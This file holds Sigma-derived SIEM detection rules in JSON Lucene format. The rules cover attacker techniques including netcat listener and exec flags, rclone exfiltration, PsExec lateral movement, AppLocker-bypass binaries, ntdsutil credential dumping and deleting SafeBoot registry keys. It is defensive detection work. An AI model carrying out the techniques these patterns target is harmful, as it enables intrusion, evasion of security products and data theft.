{"description": "Detects execution of \"reg.exe\" commands with the \"delete\" flag on safe boot registry keys. Often used by attacker to prevent safeboot execution of security products", "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "e4bc606c-a916-7ec5-4490-ba88765a5bf9", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Delete SafeBoot Keys Via Reg Utility", "query": "((process.executable.text:*reg.exe OR winlog.event_data.OriginalFileName:\"reg.exe\") AND (process.command_line.text:*\\ delete\\ * AND process.command_line.text:*\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\SafeBoot*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1562"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1562", "name": "Impair Defenses", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali", "Tim Shelton"], "license": ""}
{"description": "Detects execution of \"reg.exe\" commands with the \"delete\" flag on services registry key. Often used by attacker to remove AV software services", "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "a5503dc7-ec0e-1e97-798b-0738152da6a9", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Delete Services Via Reg Utility", "query": "((process.executable.text:*reg.exe OR winlog.event_data.OriginalFileName:\"reg.exe\") AND process.command_line.text:*\\ delete\\ * AND process.command_line.text:*\\\\SYSTEM\\\\CurrentControlSet\\\\services\\\\*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1562"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1562", "name": "Impair Defenses", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects execution of \"sc.exe\" to query information about registered services on the system", "enabled": false, "false_positives": ["Legitimate query of a service by an administrator to get more information such as the state or PID"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "4215325f-d61e-f769-bdc1-4de8e20711a3", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "SC.EXE Query Execution", "query": "(process.executable.text:*\\\\sc.exe AND winlog.event_data.OriginalFileName:*sc.exe AND process.command_line.text:*\\ query*)", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1007"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1007", "name": "System Service Discovery", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Detects execution of \"TroubleshootingPack\" cmdlets to leverage CVE-2022-30190 or action similar to \"msdt\" lolbin (as described in LOLBAS)", "enabled": false, "false_positives": ["Legitimate usage of \"TroubleshootingPack\" cmdlet for troubleshooting purposes"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "782bb2c5-8093-e2ec-6c29-a83aab18d90c", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Troubleshooting Pack Cmdlet Execution", "query": "(powershell.file.script_block_text:*Invoke\\-TroubleshootingPack* AND powershell.file.script_block_text:*C\\:\\\\Windows\\\\Diagnostics\\\\System\\\\PCW* AND powershell.file.script_block_text:*\\-AnswerFile* AND powershell.file.script_block_text:*\\-Unattended*)", "meta": {"from": "1m"}, "severity": "medium", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects execution of a the file \"execve_hijack\" which is used by the Triple Cross rootkit as a way to elevate privileges", "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "5250f6cb-dd0d-0802-9e23-1a6fdd0f17aa", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Triple Cross eBPF Rootkit Execve Hijack", "query": "(process.executable:*\\/sudo AND process.command_line:*execve_hijack*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "Privilege Escalation"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects execution of ADRecon.ps1 for AD reconnaissance which has been reported to be actively used by FIN7", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "2219acd3-8f73-1ced-a916-b8de5772501b", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "PowerShell ADRecon Execution", "query": "powershell.file.script_block_text:(*Function\\ Get\\-ADRExcelComOb* OR *ADRecon\\-Report.xlsx*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Bhabesh Raj"], "license": ""}
{"description": "Detects execution of AppleScript of the macOS scripting language AppleScript.", "enabled": false, "false_positives": ["Application installers might contain scripts as part of the installation process."], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "0e34ed16-cbac-93e8-9242-1dbc30ebfd29", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "MacOS Scripting Interpreter AppleScript", "query": "(process.executable:*\\/osascript AND process.command_line:*\\-e*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Alejandro Ortuno", "oscd.community"], "license": ""}
{"description": "Detects execution of attacker-controlled WsmPty.xsl or WsmTxt.xsl via winrm.vbs and copied cscript.exe (can be renamed)", "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "6a4502ce-258d-c500-5011-3de755af15b7", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "AWL Bypass with Winrm.vbs and Malicious WsmPty.xsl/WsmTxt.xsl", "query": "(file.path.text:(*WsmPty.xsl OR *WsmTxt.xsl) AND (NOT (file.path.text:(C\\:\\\\Windows\\\\System32\\\\* OR C\\:\\\\Windows\\\\SysWOW64\\\\*))))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1216"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1216", "name": "System Script Proxy Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Julia Fomina", "oscd.community"], "license": ""}
{"description": "Detects execution of attacker-controlled WsmPty.xsl or WsmTxt.xsl via winrm.vbs and copied cscript.exe (can be renamed)", "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "6a4502ce-258d-c500-5011-3de755af15b7", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "AWL Bypass with Winrm.vbs and Malicious WsmPty.xsl/WsmTxt.xsl", "query": "(process.command_line.text:*winrm* AND process.command_line.text:(*format\\:pretty* OR *format\\:\\\"pretty\\\"* OR *format\\:\\\"text\\\"* OR *format\\:text*) AND (NOT (process.executable.text:(C\\:\\\\Windows\\\\System32\\\\* OR C\\:\\\\Windows\\\\SysWOW64\\\\*))))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1216"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1216", "name": "System Script Proxy Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Julia Fomina", "oscd.community"], "license": ""}
{"description": "Detects execution of executables that can be used to bypass Applocker whitelisting", "enabled": false, "false_positives": ["False positives depend on scripts and administrative tools used in the monitored environment", "Using installutil to add features for .NET applications (primarily would occur in developer environments)"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "b7e56323-ad50-d872-25c2-1a2494e475ab", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Possible Applocker Bypass", "query": "process.command_line:(*\\\\msdt.exe* OR *\\\\installutil.exe* OR *\\\\regsvcs.exe* OR *\\\\regasm.exe* OR *\\\\msbuild.exe* OR *\\\\ieexec.exe*)", "meta": {"from": "1m"}, "severity": "low", "tags": ["Defense Evasion", "T1127", "T1218", "T1218", "T1218", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1127", "name": "Trusted Developer Utilities Proxy Execution", "reference": ""}, {"id": "T1218", "name": "Signed Binary Proxy Execution", "reference": ""}, {"id": "T1218", "name": "Signed Binary Proxy Execution", "reference": ""}, {"id": "T1218", "name": "Signed Binary Proxy Execution", "reference": ""}, {"id": "T1218", "name": "Signed Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["juju4"], "license": ""}
{"description": "Detects execution of ftp.exe script execution with the \"-s\" flag and any child processes ran by ftp.exe", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "026fbf8a-1bfc-0fbf-b06f-c162eaaecdd6", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "LOLBIN Execution Of The FTP.EXE Binary", "query": "(process.parent.executable.text:*\\\\ftp.exe OR ((process.executable.text:*\\\\ftp.exe OR winlog.event_data.OriginalFileName:\"ftp.exe\") AND process.command_line.text:*\\-s\\:*))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1059", "T1202"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1202", "name": "Indirect Command Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Victor Sergeev", "oscd.community"], "license": ""}
{"description": "Detects execution of Impacket's psexec.py.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "f9f8008b-08cf-65ba-f039-15abcc1053b5", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Impacket PsExec Execution", "query": "(winlog.channel:\"Security\" AND winlog.event_id:\"5145\" AND winlog.event_data.ShareName:\\\\\\\\\\*\\\\IPC$ AND winlog.event_data.RelativeTargetName:(*RemCom_stdin* OR *RemCom_stdout* OR *RemCom_stderr*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Lateral Movement", "T1021"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0008", "reference": "", "name": "Lateral Movement"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1021", "name": "Remote Services", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Bhabesh Raj"], "license": ""}
{"description": "Detects execution of Microsoft Defender's CLI process (MpCmdRun.exe) from the non-default directory which may be an attempt to sideload arbitary DLL", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "f6549649-83ad-2604-26cb-f3fdf9824c6c", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "DLL Sideloading by Microsoft Defender", "query": "(process.executable.text:*\\\\MpCmdRun.exe AND (NOT (process.executable.text:(C\\:\\\\Program\\ Files\\\\Windows\\ Defender\\\\* OR C\\:\\\\ProgramData\\\\Microsoft\\\\Windows\\ Defender\\\\Platform\\\\* OR C\\:\\\\Windows\\\\winsxs\\\\x86_security\\-malware\\-windows\\-defender_* OR C\\:\\\\Program\\ Files\\\\Microsoft\\ Security\\ Client\\\\MpCmdRun.exe*))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1574"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1574", "name": "Hijack Execution Flow", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Bhabesh Raj"], "license": ""}
{"description": "Detects execution of msdt.exe using the \"cab\" flag which could indicates suspicious diagcab files with embedded answer files leveraging CVE-2022-30190", "enabled": false, "false_positives": ["Legitimate usage of \".diagcab\" files"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "7083730c-8670-3832-2601-165fc6c0ff2c", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "MSDT.EXE Execution With Suspicious Cab Option", "query": "((process.executable:*\\\\msdt.exe OR winlog.event_data.OriginalFileName:\"msdt.exe\") AND process.command_line:(*\\ \\/cab\\ * OR *\\ \\-cab\\ *))", "meta": {"from": "1m"}, "severity": "medium", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects execution of Net.exe, whether suspicious or benign.", "enabled": false, "false_positives": ["Will need to be tuned. If using Splunk, I recommend | stats count by Computer,CommandLine following the search for easy hunting by computer/CommandLine."], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "37d352dd-7bb6-1478-3586-658a7f2ab814", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Net.exe Execution", "query": "((process.executable:(*\\\\net.exe OR *\\\\net1.exe) OR winlog.event_data.OriginalFileName:(\"net.exe\" OR \"net1.exe\")) AND process.command_line:(*\\ group* OR *\\ localgroup* OR *\\ user* OR *\\ view* OR *\\ share* OR *\\ accounts* OR *\\ stop\\ * OR *\\ start*))", "meta": {"from": "1m"}, "severity": "low", "tags": ["Lateral Movement", "T1007", "T1018", "T1021", "T1049", "T1069", "T1069", "T1087", "T1087", "T1135", "T1201"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1007", "name": "System Service Discovery", "reference": ""}, {"id": "T1018", "name": "Remote System Discovery", "reference": ""}, {"id": "T1049", "name": "System Network Connections Discovery", "reference": ""}, {"id": "T1069", "name": "Permission Groups Discovery", "reference": ""}, {"id": "T1069", "name": "Permission Groups Discovery", "reference": ""}, {"id": "T1087", "name": "Account Discovery", "reference": ""}, {"id": "T1087", "name": "Account Discovery", "reference": ""}, {"id": "T1135", "name": "Network Share Discovery", "reference": ""}, {"id": "T1201", "name": "Password Policy Discovery", "reference": ""}]}, {"tactic": {"id": "TA0008", "reference": "", "name": "Lateral Movement"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1021", "name": "Remote Services", "reference": ""}]}], "version": 1, "references": ["", "", "", "", ""], "timestamp_override": "event.ingested", "author": ["Michael Haag", "Mark Woan (improvements)", "James Pemberton / @4A616D6573 / oscd.community (improvements)"], "license": ""}
{"description": "Detects execution of Netcat. Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network", "author": ["frack113", "Florian Roth"], "enabled": false, "false_positives": ["Legitimate ncat use"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "d57a7126-d757-7edd-88ce-7cb4299790d5", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Netcat Suspicious Execution", "query": "((process.executable.text:(*\\\\nc.exe OR *\\\\ncat.exe OR *\\\\netcat.exe)) OR (process.command_line.text:(*\\ \\-lvp\\ * OR *\\ \\-lvnp* OR *\\ \\-l\\ \\-v\\ \\-p\\ * OR *\\ \\-lv\\ \\-p\\ * OR *\\ \\-l\\ \\-\\-proxy\\-type\\ http\\ * OR *\\ \\-vnl\\ \\-\\-exec\\ * OR *\\ \\-vnl\\ \\-e\\ * OR *\\ \\-\\-lua\\-exec\\ * OR *\\ \\-\\-sh\\-exec\\ *)))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1095"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", "", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects execution of ntdsutil.exe, which can be used for various attacks against the NTDS database (NTDS.DIT)", "enabled": false, "false_positives": ["NTDS maintenance"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "07c48782-fc9f-3ff1-c764-fa57e8cfa3ad", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Invocation of Active Directory Diagnostic Tool (ntdsutil.exe)", "query": "process.executable:*\\\\ntdsutil.exe", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Credential Access", "T1003"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1003", "name": "OS Credential Dumping", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Thomas Patzke"], "license": ""}
{"description": "Detects execution of of Dxcap.exe", "enabled": false, "false_positives": ["Legitimate execution of dxcap.exe by legitimate user"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "c692b54d-f126-7b3c-db55-fd8e1ec36879", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Application Whitelisting Bypass via Dxcap.exe", "query": "((process.executable:*\\\\DXCap.exe OR OriginalFilename:\"DXCap.exe\") AND process.command_line:*\\ \\-c\\ *)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1218", "name": "Signed Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Beyu Denis", "oscd.community", "Nasreddine Bencherchali (update)"], "license": ""}
{"description": "Detects execution of perl using the \"-e\"/\"-E\" flags. This is could be used as a way to launch a reverse shell or execute live perl code.", "author": ["Nasreddine Bencherchali"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "645d4cb9-2c6c-8eb2-f5f8-706bbf788974", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Perl Inline Command Execution", "query": "(((process.executable.text:*\\\\perl.exe) OR (winlog.event_data.OriginalFileName:\"perl.exe\")) AND process.command_line.text:*\\ \\-e*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": ["", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects execution of php using the \"-r\" flag. This is could be used as a way to launch a reverse shell or execute live php code.", "author": ["Nasreddine Bencherchali"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "c78d30d8-7964-1c33-84d2-a8be41aa2b5a", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Php Inline Command Execution", "query": "(((process.executable.text:*\\\\php.exe) OR (winlog.event_data.OriginalFileName:\"php.exe\")) AND process.command_line.text:*\\ \\-r*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": ["", "", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects execution of powershell scripts via Runscripthelper.exe", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "5a098c02-a53f-1997-9204-6e0ddf6e4b4d", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious Runscripthelper.exe", "query": "(process.executable:*\\\\Runscripthelper.exe AND process.command_line:*surfacecheck*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1059", "T1202"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1202", "name": "Indirect Command Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Victor Sergeev", "oscd.community"], "license": ""}
{"description": "Detects execution of PowerShell", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "18b91630-e860-8437-11a1-af50a5b0b472", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "T1086 PowerShell Execution", "query": "file.name:\\\\PSHost*", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Roberto Rodriguez (Cyb3rWard0g)", "OTR (Open Threat Research)"], "license": ""}
{"description": "detects execution of psexec or paexec with renamed service name, this rule helps to filter out the noise if psexec is used for legit purposes or if attacker uses a different psexec client other than sysinternal one", "author": ["Samir Bousseaden", "@neu5ron", "Tim Shelton"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["*ecs-*"], "interval": "5m", "rule_id": "edbb1e71-ff78-6fc8-d707-263c8215da17", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious PsExec Execution - Zeek", "query": "(event.dataset:\"smb_files\" AND (file.path.text:*\\\\* AND file.path.text:*\\\\IPC$* AND file.name.text:(*\\-stdin OR *\\-stdout OR *\\-stderr)) AND (NOT (file.name.text:PSEXESVC*)))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Lateral Movement", "T1021"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0008", "reference": "", "name": "Lateral Movement"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1021", "name": "Remote Services", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "detects execution of psexec or paexec with renamed service name, this rule helps to filter out the noise if psexec is used for legit purposes or if attacker uses a different psexec client other than sysinternal one", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "1a3e275e-0319-d728-0ad9-3874724b9167", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious PsExec Execution", "query": "(winlog.channel:\"Security\" AND (winlog.event_id:\"5145\" AND winlog.event_data.ShareName:\\\\\\\\\\*\\\\IPC$ AND winlog.event_data.RelativeTargetName:(*\\-stdin OR *\\-stdout OR *\\-stderr)) AND (NOT (winlog.event_data.RelativeTargetName:PSEXESVC*)))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Lateral Movement", "T1021"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0008", "reference": "", "name": "Lateral Movement"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1021", "name": "Remote Services", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Samir Bousseaden"], "license": ""}
{"description": "Detects execution of python using the \"-c\" flag. This is could be used as a way to launch a reverse shell or execute live python code.", "author": ["Nasreddine Bencherchali"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "bbab452a-9bfd-9240-679f-43780c23ee51", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Python Inline Command Execution", "query": "((((process.executable.text:(*python.exe OR *python3.exe OR *python2.exe)) OR (winlog.event_data.OriginalFileName:\"python.exe\")) AND process.command_line.text:*\\ \\-c*) AND (NOT (((process.parent.executable.text:C\\:\\\\Program\\ Files\\\\Python* AND process.parent.executable.text:*\\\\python.exe)) OR (process.parent.executable.text:*\\\\AppData\\\\Local\\\\Programs\\\\Microsoft\\ VS\\ Code\\\\Code.exe))))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": ["", "", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects execution of RClone utility for exfiltration as used by various ransomwares strains like REvil, Conti, FiveHands, etc", "enabled": false, "false_positives": ["Legitimate RClone use"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "1208c942-833a-61bb-8733-5b45a36d92c1", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Rclone Execution via Command Line or PowerShell", "query": "((process.command_line:*\\-\\-config\\ * AND process.command_line:*\\-\\-no\\-check\\-certificate\\ * AND process.command_line:*\\ copy\\ *) OR (process.command_line:(*pass* OR *user* OR *copy* OR *sync* OR *config* OR *lsd* OR *remote* OR *ls* OR *mega* OR *pcloud* OR *ftp* OR *ignore\\-existing* OR *auto\\-confirm* OR *transfers* OR *multi\\-thread\\-streams* OR *no\\-check\\-certificate\\ *) AND (winlog.event_data.Description:\"Rsync\\ for\\ cloud\\ storage\" OR (process.executable:*\\\\rclone.exe AND process.parent.executable:(*\\\\PowerShell.exe OR *\\\\pwsh.exe OR *\\\\cmd.exe)))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1567"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0010", "reference": "", "name": "Exfiltration"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1567", "name": "Exfiltration Over Web Service", "reference": ""}]}], "version": 1, "references": ["", "", "", "", ""], "timestamp_override": "event.ingested", "author": ["Bhabesh Raj", "Sittikorn S", "Aaron Greetham (@beardofbinary) - NCC Group"], "license": ""}
{"description": "Detects execution of REGSVR32.exe with DLL masquerading as image files", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "aa25be9f-1b93-a9fc-710e-c2560d93ae67", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Regsvr32 Execution With Image Extension", "query": "((process.executable.text:*\\\\regsvr32.exe OR winlog.event_data.OriginalFileName:\"\\\\REGSVR32.EXE\") AND process.command_line.text:(*.jpg OR *.jpeg OR *.gif OR *.png OR *.ico OR *.bmp OR *.tif OR *.tiff OR *.eps OR *.raw OR *.cr2 OR *.nef OR *.orf OR *.sr2))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1218", "name": "System Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
